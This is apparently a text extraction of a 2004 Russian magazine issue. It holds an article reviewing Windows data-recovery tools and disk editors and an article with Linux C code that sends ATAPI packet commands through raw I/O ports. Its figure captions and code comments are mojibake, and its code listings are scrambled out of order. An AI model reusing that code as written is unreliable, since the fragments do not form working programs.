Вам нужна WINNT? Личные документы намного нужнее! К счастью, доступ можно разблокировать. Для этого необходимо присвоить системным переменным AllowAllPaths и Allow RemovableMedia значение true («SET AllowAllPaths = true», «SET AllowRemovableMedia = true»), или локальных параметрах безопасности» (папка Администрирование в Панели Управления) заблаговременно найти пункт «Консоль восстановления: разрешить копирование дискет и доступ ко всем папкам» и перевести рубильник во включенное состояние. Смысл этой защиты не совсем понятен. Простые пользователи до консоли восстановления все равно не дотянутся, а профессионалов подобные манипуляции ужасно раздражают. Находясь в консоли восстановления, вы можете: запускать chkdsk2, создавать и удалять разделы на жестком диске, перезаписывать главную запись и boot-record, форматировать логические диски, управлять службами и драйверами, удалять/копировать/переименовывать/изменять атрибуты файлов (включая те, что блокируются при запуске системы), а также выполнять другие сервисные операции. При желании вы можете запускать и свои собственные консольные приложения, при условии, что они не используют никаких динамических библиотек за исключением NTDLL.DLL, однако технику их создания мы обсудим как-нибудь в другой раз, т.к. это очень обширный вопрос. В Windows XP идея консоли восстановления получила дальнейшее развитие, в конце концов вылившееся в Windows PE. Это слегка усеченная версия Windows XP,
Английское partition (раздел) в русской транскрипции изначально произносилось как «партитио» и «патриция», но затем язык это переварил в более благозвучную и легко выговариваемую «патрицию». Полезность которого, кстати говоря, весьма сомнительна, т.к. он зачастую лишь усугубляет разрушения.
№9(22), сентябрь 2004
65
образование способная грузиться с CD-ROM и запускать GUI-приложения. Фактически она полностью заменит собой «второй» жесткий диск, и для восстановления системы теперь не требуется никакого дополнительного оборудования! Несмотря на то, что легальная версия Windows PE в широкую продажу так и не поступала (Microsoft предоставляет ее только разработчикам оборудования, сервисным специалистам и прочим своим партнерам), в России копию оригинального диска Windows PE можно найти в каждом ларьке. Пиратство пиратством, но то, что спрос рождает предложение, – факт, а загружать Windows с диска требуется многим. Если же вы связаны лицензионными ограничениями, диктуемыми уставом вашей фирмы, воспользуйтесь Bart’s PE Builder. Эта бесплатно распространяемая утилита (http:// www.danilpremgi.com/nu2/pebuilder3032.zip) вытащит с дистрибутивного диска обыкновенной Windows все необходимые файлы и автоматически сформирует iso-образ загрузочного CD. Прожигаете его на болванку, и все! При желании вы можете помещать на CD и свои собственные утилиты, формируя приличную аптечку для восстановления умерших дисков и размещающуюся на 3" CR-R/RW, свободно умещающийся в нагрудном кармане. И незачем таскать эти жуткие стопки дискет или страшно сказать – отдельный винчестер. К слову сказать, к Bart’s PE Builder выпущено множество плагинов, представляющих собой программы, адаптированные для запуска с CD. Среди них есть и утилиты восстановления данных, и дисковые редакторы, и даже Nero Brining Rom. Большую коллекцию плагинов можно найти на домашней страничке Bart’s – http://www.nu2.nu/pebuilder, здесь же вы найдете и краткое руководство по работе с PE Builder. Официально PE Builder поддерживает Windows 2000, Windows XP и Windows 2003, однако при ближайшем рассмотрении выясняется, что ему как минимум нужен Windows 2000 с интегрированным SP1, зато создание диска на базе Windows 2003 прошло успешно (использовался CD-ROM с 180-дневной версией Windows 200 Server, бесплатно распространяемый компанией Microsoft).
состоянии монтировать разрушенные NTFS-диски (на некоторых из них NTFS-драйвер просто виснет или уходит в голубой экран). Штатная же консоль восстановления, NTFSDOS Proffessional и Active@ Data Recovery Boot Disk поддерживают только дискеты и IDE-накопители, причем демонстрационные версии двух последних требуют, чтобы диск-приемник был размечен под FAT16/32, а его максимальный объем не превышал 8 Гб. Если же вам необходимо восстановить диск большего объема – последовательно копируйте его на несколько жестких дисков. Согласен, это достаточно дорогое удовольствие, но дешевых решений в деле восстановления данных не бывает.
Редактор диска Настоящие профессионалы восстанавливают разрушенные логические структуры непосредственно в дисковом редакторе, не доверяя никаким автоматизированным утилитам (кроме своих собственных), поскольку никогда не известно наперед, какой подлости от них следует ждать. Так будем поступать и мы, делая основной упор именно на ручном восстановлении. Коль скоро дисковый редактор станет нашим главным инструментом, это должен быть хороший и комфортный редактор, в противном случае восстановление из увлекательной работы превратится в пытку. Лучшим и, кстати говоря, до сих пор никем не превзойденным дисковым редактором, когда-либо созданным за всю историю существования IBM PC, был и остается знаменитый Norton DiskEditor от компании Symantec. Удобная навигация по диску, просмотр большинства служебных структур в естественном виде, мощный контекстный поиск до предела упростили процедуру восстановления, взяв всю рутинную работу на себя. Старичок и поныне остается в строю. Естественно, под Windows NT он не запускается, однако работает под MS-DOS и Windows 9x, наследуя все ограничения, накладываемые BIOS на предельно допустимый объем диска в 8 Гб (правда, попытка восстановления диска из многозадачной среды, коей и является Winnows 9x, могут носить диаметрально противоположный характер, впрочем, на NTFS-разделы это условие не распространяется. Windows 9x не поддерживает NTFS и ничего не пишет на ее разделы). К сожалению, DiskEdit ничего не знает об NTFS, и потому разбирать все структуры приходится вручную. Но это еще полбеды. DiskEdit не умеет работать с UNICODE, а это уже хуже. Поэтому лучше выбрать другой редактор.
Ðèñóíîê 1. Ëîãîòèï äèñêà Bart's PE
Выбор носителей для копирования Времена, когда восстанавливаемый винчестер можно было скопировать на пару пачек дискет, давно прошли, и теперь процедура спасения данных значительно усложнилась. Пишущие приводы (особенно DVD) – хороший выбор, и пара пачек болванок вмещает в себя жесткий диск любой разумной емкости, однако достойных программ прожига под MS-DOS нет и, по-видимому, уже и не будет. Существующие утилиты (включая их консольные разновидности!) требуют для своего запуска Windows PE/Bart PE, который не в
66
Ðèñóíîê 2. Disk Editor îòîáðàæàåò FAT
образование
Ðèñóíîê 3. Disk Editor îòîáðàæàåò êîðíåâóþ äèðåêòîðèþ
Microsoft DiskProbe, входящий в состав бесплатно распространяемого пакета Support Tools, это незатейливый и довольно неудобный в использовании дисковый редактор. Если все, что вам нужно – это подправить пару байт в нужных секторах, Disk Probe вполне подойдет, но для восстановления серьезных разрушений он непригоден. Тем не менее базовые функции редактирования им поддерживаются – чтение (запись) логических/физических секторов и групп, просмотр Partition Table, FAT16 и NTFS boot-секторов в естественном виде, поддержка UNICODE, глобальный поиск по фиксированному/произвольному смещению строки от начала сектора, запись/восстановление секторов в/из файла и т. д. Основная претензия – отсутствие горячих клавиш и невозможность перехода к следующему сектору по PagePown (для каждого сектора приходится лезть в меню, что ужасно напрягает). Acronis DiskEditor – слегка улучшенный клон Disk Probe. Разукрашен интерфейс, существенно упрощена процедура выбора дисков, по PageDown/PageUp переходит к следующему/предыдущему сектору. В поиске появилась поддержка большого количества различных кодировок (DiskProbe понимает только Cyrillic Windows-1251), и HEXпоиск. Но есть и упущения. При масштабировании окна меняется и количество байт в строке, что делает навигацию по сектору весьма противоречивой и затруднительной, к тому же текущая позиция курсора отображается только в десятичном виде (у DiskProbe – в шестнадцатиричном), что также не добавляет восторга.
Ðèñóíîê 4. Disk Probe çà ïîèñêîì ñåêòîðà
№9(22), сентябрь 2004
Ðèñóíîê 5. Disk Probe îòîáðàæàåò Partition Table
Ðèñóíîê 6. Acronis DiskEditor çà ïîèñêîì ñòðîêè
Ðèñóíîê 7. Acronis DiskEditor îòîáðàæàåò NTFS boot-ñåêòîð
67
образование DiskExplorer от Runtime Software – великолепный дисковый редактор, самый лучший из всех, с которыми мне только доводилось работать. Фактически это клон Norton DiskEditor под Windows NT/9x с полной поддержкой NTFS. Вы можете просматривать все основные NTFS-структуры в естественном виде, монтировать виртуальные диски, работать с образами лазерных и жестких дисков, перемещаться по директориям, восстанавливать удаленные файлы из любой записи MFT, копировать файлы (и даже целые директории!) с предварительным предпросмотром в текстовом или шестнадцатиричном формате, и это еще далеко не все! Удобная система forward/backward-навигации (приблизительно такая же, как в браузере или IDA PRO, даже гиперссылки поддерживаются), изобилие горячих клавиш, история переходов, мощный поиск с поддержкой основных структур (INDEX, MFT, Partition), поиск ссылок на текущий сектор, возможность удаленного восстановления диска с подключением по TCP/IP, локальной сети или прямому кабельному подсоединению. Все числа выводятся в двух системах исчисления – шестнадцатиричной и десятичной. Короче говоря, это мой основной (и притом горячо любимый!) инструмент для исследования файловой системы и восстановления данных. Первое же знакомство с ним вызывает эйфорию, граничащую со щенячьим восторгом. Наконец-то мы получили то, о чем так долго мечтали. Естественно, за все хорошее надо платить. Disk Explorer – это коммерческий продукт, а доступная для скачивания демонстрационная версия лишена возможности записи на диск. Причем имеются две различные версии редактора: одна поддерживает NTFS (http://www.runtime.org/gdbnt.zip), другая – FAT. Также доступны плагины под Bart’s PE, которые можно скачать с сайта Runtime Software.
но, однако, Sector Inspector – единственный известный мне редактор, поддерживающий работу из Recovery Console, так что в некоторых случаях он бывает просто незаменим!
Ðèñóíîê 9. DiskExplorer îòîáðàæàåò MFT â ðàñøèðåííîì âèäå
Ðèñóíîê 10. SectorInspector çà ðàáîòîé
Автоматизированные доктора Более убогой утилиты, чем ChkDsk – стандартный дисковый «доктор», входящий в штатный комплект поставки Windows, – по-видимому, не придумать даже сценаристам из Голливуда. Система диагностики ошибок упрощена до минимума – доктор лишь информирует о факте их наличия, но отказывается говорить, что именно, по его мнению, повреждено и что он собирается лечить, поэтому последствия такого «врачевания» могут носить фатальный характер.
Ðèñóíîê 8. DiskExplorer îòîáðàæàåò MFT â ñîêðàùåííîì âèäå
Sector Inspector, входящий в бесплатно распространяемый фирмой Microsoft пакет «Windows Resource Kits», представляет собой не интерактивную утилиту для чтения/записи отдельных секторов в файл. Поддерживает LBA- и CHS-адресацию. При запуске без параметров выводит декодированную partition table вместе с расширенными разделами и boot-секторами. Редактирование диска осуществляется правкой секторного дампа в любом подходящем HEX-редакторе с последующей записью исправленной версии на диск. Естественно, это непроизводительно и неудоб-
68
Ðèñóíîê 11. ChkDsk çà ðàáîòîé
Известно много случаев, когда ChkDsk залечивал до смерти полностью исправные разделы. С другой стороны, успешно проведенных операций восстановления на его сче-
образование ту намного больше. Обычно он используется неквалифицированными пользователями (и администраторами) для периодической проверки разделов и исправления мелких искажений файловой системы. GetDataBack от создателя Disk Explorer. Полная автоматизация и никакой ручной работы. Сканирует MFT и выводит все файлы, которые только удалось найти (включая удаленные), рассовывая их по директориям (при условии, что соответствующие индексы не повреждены). Если споткнется о BAD-сектор – вылетит, не прощаясь. Зато поддерживает удаленное восстановление, создание образов дисков, и мощную систему поиска по файлам (дата/размер), но почему-то нет поиска по содержимому, что не есть хорошо. Допустим, вы хотите восстановить файл со своей диссертацией, ключевые слова которой вам известны, а вот в каких секторах они располагаются, – неведомо. Тоже самое относится и к поиску файла записной книжки с телефоном приятеля. Тем не менее, для большинства рядовых задач по восстановлению возможностей GetDataBack хватает с лихвой. Демонстрационную версию программы под NTFS можно раздобыть по адресу (http://www.runtime.org/ gdbnt.zip). Она все показывает, но восстанавливать ничего не дает. Однако позволяет открывать файлы ассоциированным с ними приложениям. Важно отметить, GetData Back не является доктором, таким как NDD или ChkDsk. Она не лечит разделы, а всего лишь позволяет скопировать из них уцелевшие файлы.
Ðèñóíîê 12. Âíåøíèé âèä GetDataBack
DIY Recover от нидерландской фирмы с неоригинальным названием Data Recovery – замечательный полуавтоматический доктор с кучей настроек. Поддерживает динамические диски, позволяет задавать все параметры сканирования вручную. Надежен. Не зависает даже на сильно поврежденных томах. Правда, навигация по восстанавливаемому диску выполнена крайне неудобно (если не сказать – небрежно), что особенно хорошо заметно на больших дисках, содержащих миллионы файлов. Как и его соперник – GetDataBack – он ничего не лечит, а лишь вытягивает уцелевшие данные из небытия. Тем не менее, я отношу DIY Recover к лучшим автоматизированным средствам восстановления из всех имеющихся в моем арсенале (не считая своих собственных утилит, которые пишутся на скорую руку для восстановления конкретного диска, после чего уходят в /dev/null, как и всякий фаст фуд).
№9(22), сентябрь 2004
Демонстрационную копию программы можно найти по следующему адресу http://www.diydatarecovery.nl/~tkuurstra/ downloads/Demo/iRecoverSetup.exe.
Ðèñóíîê 13. Ïîëçóùàÿ çìåéêà DIY Recover
EasyRecovery Professional от OnTrack Data Recovery (www.ontrack.com) – симпатичный, но на проверку довольно бестолковый инструмент, к тому же работающий полностью в автоматическом режиме, интеллектуальность которого находится на зачаточном уровне. Не рекомендуется для использования (ну разве что вы хотите восстановить только что отформатированный том, на который еще ничего существенного не писалось).
Ðèñóíîê 14. EasyRecovery è ïîëòîðàñòà ìåãàáàéò êîñìåòèêè
Заключение В шутку говорят, что всякий обладатель не зарезервированных данных ошибается лишь дважды – первый раз, когда теряет их, и второй – когда запускает DiskEditor. Действительно, восстановление данных – чрезвычайно ответственная операция, и одно неверное движение мыши способно отправить ваш дисковый том к праотцам. Редактор диска – это не та программа, которую можно осваивать на лету. Подключите к компьютеру жесткий диск, не содержащий ничего интересного, и тренируйтесь! Как раз успеете к следующему номеру оторвать у мыши хвост и стучать по горячим клавишам вслепую, после чего будет не грех поговорить о восстановлении загрузочных областей (таблиц разделов, boot-секторов) на обычных и динамических дисках, также называемых программными RAID-массивами.
69
программирование
ПАКЕТНЫЕ КОМАНДЫ ИНТЕРФЕЙСА ATAPI
В статье рассматриваются примеры программ, выполняющих доступ к интерфейсу ATAPI через порты ввода-вывода и при помощи системного вызова IOCTL операционной системы Linux.
ВЛАДИМИР МЕШКОВ Общая характеристика интерфейса ATA/ATAPI. Регистры ATAPI-контроллера Интерфейс ATA – AT Attachment for Disk Drives – разрабатывался в 1986-1990 гг. для подключения накопителей на жестких магнитных дисках к компьютерам IBM PC AT с шиной ISA. Стандарт, разработанный комитетом X3T10, определяет набор регистров и назначение сигналов 40-контактного интерфейсного разъема. Интерфейс появился в результате переноса контроллера жесткого диска ближе к накопителю, на плату электроники с сохранением регистровой модели, т.е. создания устройств со встроенным контроллером – IDE (Integrated Device Electronic). Для подключения к интерфейсу ATA накопителей CDROM набора регистров и системы команд ATA недостаточно. Для них существует аппаратно-программный интерфейс ATAPI (ATA Package Interface – пакетный интерфейс ATA).
70
Устройство ATAPI поддерживает минимальный набор команд ATA, который неограниченно расширяется 12-байтным командным пакетом, посылаемым хост-контроллером в регистр данных устройства по команде PACKET. Структура командного пакета пришла от SCSI (www.t10.org), что обеспечивает схожесть драйверов для устройств со SCSI и ATAPI. Регистры ATAPI-контроллера:
программирование Регистр данных (DR) используется так же, как и регистр данных ATA. Регистр ошибки (ER) определяет состояние контроллера устройства ATAPI после выполнения операции и доступен только для чтения. Назначение разрядов регистра следующее: ! бит 0 (ILI) – недопустимая длина командного пакета или блока данных; ! бит 1 (EOM) – обнаружен конец дорожки на носителе; ! бит 2 (ABRT) – аварийное прекращение выполнения команды; ! бит 3 – не используется; ! бит 4-7 (Sense Key) – код состояния устройства. Регистры младшего байта и старшего байта счетчика байтов (CL и CH) используются в режиме PIO и доступны как для чтения, так и для записи информации. Значение счетчика должно быть загружено в эти регистры до того, как код команды будет записан в регистр команд. Значение счетчика должно соответствовать объему передаваемых данных. В регистре выбора устройства (DS) используется только бит 4 (DEV), с помощью которого осуществляется выбор устройства. Биты 7 и 5 должны иметь значение 1 с целью сохранения совместимости с устаревшими устройствами. Регистр состояния (SR) отображает состояние устройства. Назначение разрядов регистра следующее: ! бит 0 (CHK) – признак возникновения исключительной ситуации, в регистре ошибки (ER) находится код ошибки; ! биты 1 и 2 игнорируются при считывании информации из регистра; ! бит 3 (DRQ) – признак готовности устройства к обмену данными; ! бит 4 (SERV) – признак готовности к обслуживанию следующей команды (имеет значение только при работе в режиме перекрытия команд); ! бит 5 (DMRD/DF) – признак готовности к передаче в режиме DMA (при CHK = 0) или признак неисправности устройства (при CHK = 1). Регистр команд (CR) используется для загрузки кода выполняемой команды.
Пакетные команды ATAPI Рассмотрим порядок выполнения пакетных команд интерфейса ATAPI на примерах. Работоспособность всех примеров была проверена для ОС Linux, ядро 2.4.26. Привод CDROM подключен как Secondary Master, в ядре включен режим SCSI-эмуляции для ATAPI-устройств (SCSI host adapter emulation for IDE ATAPI devices). Использовались два привода: ! TEAC CD-W524E Rev 1.0E; ! MITSUMI CD-ROM FX54++M Rev Y01E. Исходные тексты всех программ доступны на сайте журнала. Начнём с самого простого примера – открытие/закрытие лотка CD-ROM. Чтобы выполнить эту операцию, уст-
№9(22), сентябрь 2004
ройству необходимо послать пакетную команду START/ STOP UNIT, которая представляет собой 12-байтный блок данных следующего формата (см. спецификацию INF-8020i, п. 10.8.25, стр. 197):
Ðèñóíîê 1. Ôîðìàò êîìàíäû START/STOP UNIT
Формат этой команды простой. Поле Operation code содержит код команды 0x1B, а тип требуемой операции задают бит LoEj и Start:
Команда START/STOP UNIT относится к классу пакетных команд, не требующих передачи данных (Non-data Commands). Алгоритм выполнения таких команд следующий (см. п. 5.13, спецификация INF-8020i): ! хост считывает регистр состояния устройства, дожидаясь нулевого значения битов BSY и DRQ. После этого хост заносит в регистр выбора устройство байт, бит DEV которого указывает на адресуемое устройство; ! хост записывает код пакетной команды 0xA0 в командный регистр; ! устройство устанавливает бит BSY в регистре состояния и готовится к приёму пакетной команды; ! подготовившись к приёму пакетной команды, устройство сбрасывает бит BSY и устанавливает бит DRQ; ! хост записывает 12-байтный командный пакет в регистр данных устройства; ! устройство устанавливает бит BSY и приступает к выполнению поступившей команды. После выполнения команды устройство сбрасывает бит BSY, DRQ и устанавливает бит DRDY; ! хост считывает регистр состояния. Рассмотрим листинг программы, выполняющей открытие и закрытие лотка CD-ROM (файл RAW/atapi_o_c.c). Биты регистра состояния SR и макроопределения для работы с портами: #define BSY 0x80 #define DRQ 0x08 #define DRDY 0x40 #define OUT_P_B(val,port) ↵ __asm__("outb %%al, %%dx"::"a"(val),"d"(port)) #define OUT_P_W(val,port) ↵ __asm__("outw %%ax, %%dx"::"a"(val),"d"(port)) #define IN_P_B(val,port) ↵ __asm__("inb %%dx, %%al":"=a"(val):"d"(port))
71
программирование #define IN_P_W(val,port) ↵ __asm__("inw %%dx, %%ax":"=a"(val):"d"(port))
Функция send_packet_command реализует алгоритм выполнения пакетных команд, не требующих передачи данных. Входные параметры функции – указатель на 12-байтный командный пакет: void send_packet_command(__u8 *cmd_buff) { int i; __u8 status = 0; __u16 port, a; port = 0x177; // ðåãèñòð ñîñòîÿíèÿ SR /*  ñîîòâåòñòâèè ñ àëãîðèòìîì æäåì íóëåâîãî çíà÷åíèÿ * áèòîâ BSY è DRQ */ for(;;) { do {
}
IN_P_B(status, port); } while(status & BSY); if(!(status & DRQ)) break;
/* Âûáèðàåì óñòðîéñòâî Master è â åãî ðåãèñòð êîìàíä * çàïèñûâàåì êîä ïàêåòíîé êîìàíäû */ port = 0x176; OUT_P_B(0xA0, port); // áèò DEV ñáðîøåí port = 0x177; OUT_P_B(0xA0, port); /* Æä¸ì ñáðîñà áèòà BSY è óñòàíîâêè DRQ */ for(;;) { do { IN_P_B(status, port); } while(status & BSY); if(status & DRQ) break; } port = 0x170; // ðåãèñòð äàííûõ /* Çàïèñûâàåì â ðåãèñòð äàííûõ ïåðåäàííûé 12-áàéòíûé * êîìàíäíûé ïàêåò (îòìåòèì îäíó îñîáåííîñòü – åñëè * çàïèñûâàòü ïî îäíîìó áàéòó, êîìàíäà ðàáîòàòü íå áóäåò) */ for(i = 0; i < 12; i += 2) { memcpy((void *)&a, (cmd_buff + i), 2); OUT_P_W(a, port); }
void close_cdrom() { __u8 cmd_buff[12];
}
memset((void *)cmd_buff, 0, 12); cmd_buff[0] = 0x1B; // êîä êîìàíäû START/STOP UNIT cmd_buff[4] = 0x3; // LoEj = 1, Start = 1 send_packet_command(cmd_buff);
Функция открытия лотка CD-ROM: void open_cdrom() { __u8 cmd_buff[12];
}
memset((void *)cmd_buff, 0, 12); cmd_buff[0] = 0x1B; cmd_buff[4] = 0x2; // LoEj = 1, Start = 0 send_packet_command(cmd_buff);
Главная функция: int main() { ioperm(0x170, 8, 1); /* Æä¸ì ãîòîâíîñòè óñòðîéñòâà è îòêðûâàåì ëîòîê */ wait_while_ready(); open_cdrom(); printf("CD-ROM îòêðûò. Íàæìèòå 'Enter' äëÿ çàêðûòèÿ."); getchar(); /* Çàêðûâàåì ëîòîê */ close_cdrom(); wait_while_ready(); printf("OK. CD-ROM çàêðûò.\n"); ioperm(0x170, 8, 0); return 0; }
Теперь вместо команды START/STOP UNIT пошлём устройству команду PLAY AUDIO. По этой команде устройство начнёт воспроизведение звукового фрагмента с Аудио-CD. Формат команды PLAY AUDIO представлен на рис. 2:
port = 0x177; /* Æä¸ì ñáðîñà áèòà BSY è óñòàíîâêè DRDY */ for(;;) { do { IN_P_B(status, port); } while(status & BSY); if(status & DRDY) break; } }
return;
Перед отправкой устройству команды START/STOP UNIT проверим его готовность. Проверка готовности выполняется путём посылки устройству команды TEST UNIT READY:
Ðèñóíîê 2. Ôîðìàò êîìàíäû PLAY AUDIO
Описание полей командного пакета: void wait_while_ready() { __u8 cmd_buff[12]; memset((void *)cmd_buff, 0, 12); cmd_buff[0] = 0x00; send_packet_command(cmd_buff); }
return;
Функция закрытия лотка CD-ROM:
72
! Starting Logical Block Address – логический номер сектора, с которого начинается воспроизведение. Байты номера сектора располагаются в обратном порядке, на что указывают аббревиатуры MSB (Most significant bit) и LSB (Least significant bit); ! Transfer Length – длина воспроизводимого фрагмента в логических секторах. Следующая функция формирует и посылает устройству
программирование пакетную команду PLAY AUDIO (полный листинг находится в файле RAW/play_audio.c): void play_audio() { __u8 cmd_buff[12]; /* Âîñïðîèçâîäèì ôðàãìåíò ðàçìåðîì 5000 ñåêòîðîâ, * íà÷èíàÿ ñ 10-ãî */ __u32 start_lba = 10; // ñòàðòîâûé ñåêòîð __u16 lba_len = 5000; // äëèíà âîñïðîèçâîäèìîãî ó÷àñòêà memset((void *)cmd_buff, 0, 12); cmd_buff[0] = 0x45; // êîä êîìàíäû PLAY AUDIO /* Ìåíÿåì ïîðÿäîê ñëåäîâàíèÿ áàéò ïðè ïîìîùè ìàêðîñà * __swab32. Ýòîò ìàêðîñ îïðåäåë¸í â ôàéëå * <linux/byteorder/swab.h> */ start_lba = __swab32(start_lba); memcpy((void *)(cmd_buff + 2), (void *)&start_lba, 4); lba_len = __swab16(lba_len); memcpy((void *)(cmd_buff + 6), (void *)&lba_len, 2); send_packet_command(cmd_buff); }
return;
/* Îæèäàåì ñáðîñà áèòîâ BSY è DRQ */ for(;;) { do { IN_P_B(status, port); } while(status & BSY); if(!(status & DRQ)) break; } /* Âûáèðàåì óñòðîéñòâî Secondary Master */ port = 0x176; OUT_P_B(0xA0, port); /*  ìëàäøèé áàéò ñ÷åò÷èêà áàéòîâ (CL) çàíîñèì * ðàçìåð çàïðàøèâàåìûõ äàííûõ */ port = 0x174; OUT_P_W(data_len, port); /*  ðåãèñòð êîìàíä çàïèñûâàåì êîä ïàêåòíîé êîìàíäû */ port = 0x177; OUT_P_B(0xA0, port); /* Æä¸ì óñòàíîâêè áèòà DRQ */ for(;;) { do { IN_P_B(status, port); } while(status & BSY); if(status & DRQ) break; } port = 0x170;
Следующий класс пакетных команд, который мы рассмотрим в данной статье, требует передачи данных от устройства к хосту в режиме PIO. Алгоритм выполнения таких команд следующий (см. п. 5.8, спецификация INF-8020i): ! хост считывает регистр состояния устройства, дожидаясь нулевого значения битов BSY и DRQ. После этого хост заносит в регистр выбора устройство байт, бит DEV которого указывает на адресуемое устройство, в регистр счетчика байтов (старший и младший) заносится число передаваемых от устройства байт; ! хост записывает код пакетной команды 0xA0 в командный регистр; ! устройство устанавливает бит BSY в регистре состояния и готовится к приёму пакетной команды; ! подготовившись к приёму пакетной команды, устройство сбрасывает бит BSY и устанавливает бит DRQ в регистре состояния; ! хост записывает 12-байтный командный пакет в регистр данных устройства; ! устройство устанавливает бит BSY и приступает к выполнению поступившей команды. После выполнения команды устройство сбрасывает бит BSY и устанавливает бит DRQ. Если во время выполнения команды произошла ошибка, в регистре состояния будет установлен бит CHK; ! хост опрашивает регистр состояния, дожидаясь единичного значения бита DRQ. После этого хост считывает из регистра данных результат выполнения команды. Функция send_packet_data_command() реализует этот алгоритм. Параметры функции – размер запрашиваемых данных и указатель на 12-байтный командный пакет: int send_packet_data_command(__u16 data_len, __u8 *cmd_buff) { int i; __u8 status = 0; __u16 port, a; port = 0x177;
№9(22), сентябрь 2004
/*  ðåãèñòð äàííûõ çàïèñûâàåì 12-áàéòíûé êîìàíäíûé ïàêåò */ for(i = 0; i < 12; i += 2) { memcpy((void *)&a, (cmd_buff + i), 2); OUT_P_W(a, port); } /* Æä¸ì çàâåðøåíèÿ êîìàíäû - óñòàíîâëåííîãî áèòà DRQ. * Åñëè ïðîèçîøëà îøèáêà - ôèêñèðóåì ýòîò ôàêò */ port = 0x177; for(;;) { do { IN_P_B(status, port); } while(status & BSY); // îøèáêà âûïîëíåíèÿ êîìàíäû! if(status & ERR) return -1; if(status & DRQ) break; } }
return 0;
В качестве примеров пакетных команд, требующих передачи данных от устройства к хосту, рассмотрим следующий список: ! INQUIRY ! READ CD ! REQUEST SENSE ! READ TOC ! SEEK ! READ SUB-CHANNEL По команде INQUIRY устройство выдаёт блок информации о своих параметрах. Формат команды INQUIRY следующий: ! байт 0 – код команды INQUIRY, значение 0x12; ! байт 4 – размер выделенной области для считываемых данных. Формат стандартной справки, выдаваемой по команде INQUIRY, приведен на рис. 3 (INF-8020i, п. 10.8.1.1, стр. 94.). Функция read_inquiry() считывает идентификатор изготовителя (Vendor Identification), идентификатор изделия (Product Identification) и версию изделия (Product Revision Level):
73
программирование int read_inquiry() { int i = 0; __u8 cmd_buff[12]; __u16 inquiry_buff[20]; // áóôåð äëÿ ñ÷èòûâàåìûõ äàííûõ __u8 data_len = 40; // ðàçìåð çàïðàøèâàåìûõ äàííûõ
двумя соседними единицами должно быть не более 10, но не менее 2 нулей. Размер малого кадра, записанного на компакт-диск, равен 588 бит.
memset(inquiry_buff, 0, 40); memset((void *)cmd_buff, 0, 12); cmd_buff[0] = 0x12; // êîä êîìàíäû INQUIRY cmd_buff[4] = data_len; /* Ïîñûëàåì óñòðîéñòâó ïàêåòíóþ êîìàíäó */ if(send_packet_data_command(data_len, cmd_buff) < 0) { printf("INQUIRY command error\n"); return -1; } /* Ñ÷èòûâàåì ðåçóëüòàò è îòîáðàæàåì åãî */ for(i = 0; i < 20; i++) IN_P_W(inquiry_buff[i], 0x170); printf("%s\n", inquiry_buff + 4); }
return 0;
Полный листинг программы чтения идентификационной информации устройства находится в файле RAW/ inquiry_cd.c.
Ðèñóíîê 4. Ñòðóêòóðà êàäðà íà ïðèìåðå Audio-CD
98 последовательно расположенных малых кадров образуют кадр (Frame), или сектор, минимально адресуемую единицу данных на компакт-диске. Один кадр содержит 24 ∗ 98 = 2352 байт данных основного канала и 98 байт субканала (2 байта синхронизации и 96 байт данных). Каждый байт субканала размечен на битовые позиции, и, таким образом, субканал делится еще на 8 субканалов (рис. 5). В одном кадре для каждого из этих субканалов содержится по 96 бит (12 байт) информации.
Ðèñóíîê 5. Ôîðìàò áàéòà ñóáêàíàëà
Ðèñóíîê 3. Ôîðìàò ñïðàâêè, ïîëó÷àåìîé ïî êîìàíäå INQUIRY
Команда READ_CD, которую мы сейчас рассмотрим, выполняет чтение сектора с компакт-диска. Но перед тем, как приступить к изучению примера использования этой команды, ознакомимся с организацией данных на компактдиске.
Физический формат данных на компакт-диске. Форматы блоков основного канала Единицей представления данных на компакт-диске является малый кадр, small frame. Малый кадр содержит: ! 3 байта кода синхронизации; ! 1 байт данных субканала; ! 24 байта данных основного канала (две группы по 12 байт); ! 8 байт помехоустойчивого корректирующего кода (CIRC, Cross Interleaved Read-Solomon Code). Общая длина данных малого кадра составляет 36 байт. При записи на компакт-диск данные субканала, основного канала и CIRC кодируются 14-разрядными EFM-кодом (Eight to Fourteen). Эта операция необходима для соблюдения условия, что в последовательном коде данных между
74
Субканал Q Lead-In области компакт-диска хранит данные таблицы содержания, Table of Contents, или TOC. У компакт-дисков, используемых для хранения аудиоинформации, все 2352 байт основного канала заняты аудиоданными. Формат, используемый для записи музыкальных треков на компакт-диск, обозначается CD-DA (CD Digital Audio). Если компакт-диск используется для хранения данных, то блок основного канала начинается с поля синхронизации Sync длиной 12 байт (рис. 6). За полем синхронизации находится заголовок блока данных Header длиной 4 байт. Заголовок блока содержит координаты блока данных в формате MSF (Minute/Second/Frame) и байт режима записи данных Data Mode.
Ðèñóíîê 6. Ñòðóêòóðà ïîëÿ ñèíõðîíèçàöèè Sync
Биты 0-1 байта Data Mode содержат код режима записи блока данных. Наиболее широкое распространение получили следующие режимы данных: ! режим данных 1, Yellow Book Mode 1; ! форма 1 режима данных 2, CD-ROM XA Mode 2 Form 1; ! форма 2 режима данных 2, CD-ROM XA Mode 2 Form 2. Форматы блоков основного канала для каждого режима представлен на рис. 7. ! EDC – Error detection code ! ECC – Error correction code using CIRC Вернёмся к рассмотрению команды READ CD. Ее формат представлен на рис. 8.
программирование ческий номер сектора, содержимое которого мы хотим прочитать. #define SECT_SIZE 2352 // ðàçìåð RAW-ñåêòîðà int read_cd(__u32 lba) { int i = 0, out_f, ret; __u8 cmd_buff[12]; __u8 buff[SECT_SIZE]; __u16 data_len = SECT_SIZE, a; memset((void *)buff, 0, sizeof(buff)); memset((void *)cmd_buff, 0, 12); Ðèñóíîê 7. Ôîðìàòû áëîêîâ îñíîâíîãî êàíàëà
/* Ôîðìèðóåì êîìàíäíûé ïàêåò (ðèñ. 8) */ cmd_buff[0] = 0xBE; // êîä êîìàíäû READ CD cmd_buff[1] = 0; // ñ÷èòûâàåì ñåêòîð ëþáîãî òèïà (Any Type) cmd_buff[9] = 0xF8; // ñ÷èòûâàåì âñþ èíôîðìàöèþ, // íàõîäÿùóþñÿ â ñåêòîðå cmd_buff[8] = 1; // ÷èòàåì îäèí ñåêòîð /* Çàïîëíÿåì ïîëå Starting Logical Block Address, ïðè ýòîì * ìåíÿåì ïîðÿäîê ðàñïîëîæåíèÿ áàéò */ lba = __swab32(lba); memcpy((cmd_buff + 2), (void *)&lba, 4); /* Ïîñûëàåì óñòðîéñòâó êîìàíäíûé ïàêåò */ if(send_packet_data_command(data_len, cmd_buff) < 0) { request_sense(); return -1; }
